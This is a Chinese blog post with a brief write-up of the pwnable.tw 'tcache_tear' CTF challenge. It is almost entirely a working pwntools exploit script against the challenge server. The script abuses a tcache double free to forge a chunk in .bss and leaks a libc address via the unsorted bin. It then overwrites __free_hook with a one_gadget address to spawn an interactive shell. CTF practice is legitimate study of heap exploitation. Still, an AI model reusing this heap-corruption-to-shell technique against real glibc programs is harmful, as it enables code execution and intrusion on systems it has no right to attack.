pwnable.tw tcache_tear

本文详细讲述了如何利用特定版本的glibc漏洞,通过构造恶意chunk进行双free操作,进而绕过tcache检查,实现对内存的不正常释放。作者演示了利用payload和gdb调试技巧来操纵内存并触发系统调用,涉及到了内存管理、漏洞利用和调试技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

需要注意的:首先是free伪造的bss段上堆块的时候要伪造三个才能free,因为都会检查。

其次是在这个版本的glibc下,tcache不会检查bins中size为,因此尽管free周围没有0x7f也可以伪造chunk

from pwn import *
# io = process('./tcache_tear')
io = remote('chall.pwnable.tw',10207)
context.log_level='debug'
elf = ELF('./tcache_tear')
libc = elf.libc

# usage of double-free in tcache
# fake chunk in bss to be put into unsorted bin
payload1 = p64(0)+p64(0x501)+p64(0xdeadbeef)
io.recvuntil('Name:')
io.sendline(payload1)
name_ptr = 0x602060

def add(size,data):
    io.recvuntil('choice :')
    io.sendline(str(1))
    io.recvuntil('Size:')
    io.sendline(str(size))
    io.recvuntil('Data:')
    io.sendline(data)
    io.recvline()


def show():
    io.recvuntil('choice :')
    io.sendline(str(3))

def free():
    io.recvuntil('choice :')
    io.sendline(str(2))


# gdb.attach(io,"b *0x400B14") # break at malloc
add(10,'aaaa')
free()
free()
add(10,p64(name_ptr+0x10))
add(10,'bbbb')
# get name_ptr
# chunk_fake = 'a'*0x490+p64(0)+p64(0x21)
chunk_fake = 'a'*0x18+p64(0x602070)+'a'*(0x500-0x10-0x20)+p64(0x501)+p64(0x21)+'a'*0x18 + p64(0x21)
add(10,chunk_fake) # integer overflow
# pause()
free()
show()

# add(0x300,'dddd')

# gdb.attach(io,"b *0x400B99") # break at show

libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

print "libc_info----->" + hex(libc_info)
libc_base = libc_info - 0x3ebca0
print "libc_base----->" + hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
print "malloc_hook----->" + hex(malloc_hook)
print "free_hook----->" + hex(free_hook)
system = libc_base + libc.sym['system']
print "system----->" + hex(system)
one_gadget = [0x4f2c5,0x4f322,0x10a38c]
oneshot = one_gadget[1]+libc_base

# hijack freehook
add(0x68,'cccc')
free()
free()
# pause()
add(0x68,p64(free_hook-0x13))
# pause()
add(0x68,'dddd')
payload = 'a'*0x13+p64(oneshot)
add(0x68,payload)
# gdb.attach(io,"b *0x400B14")
# pause()

# io.recvuntil('choice :')
# io.sendline(str(1))
# io.recvuntil('Size:')
# io.sendline(str(0x200))

free()


io.interactive()


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值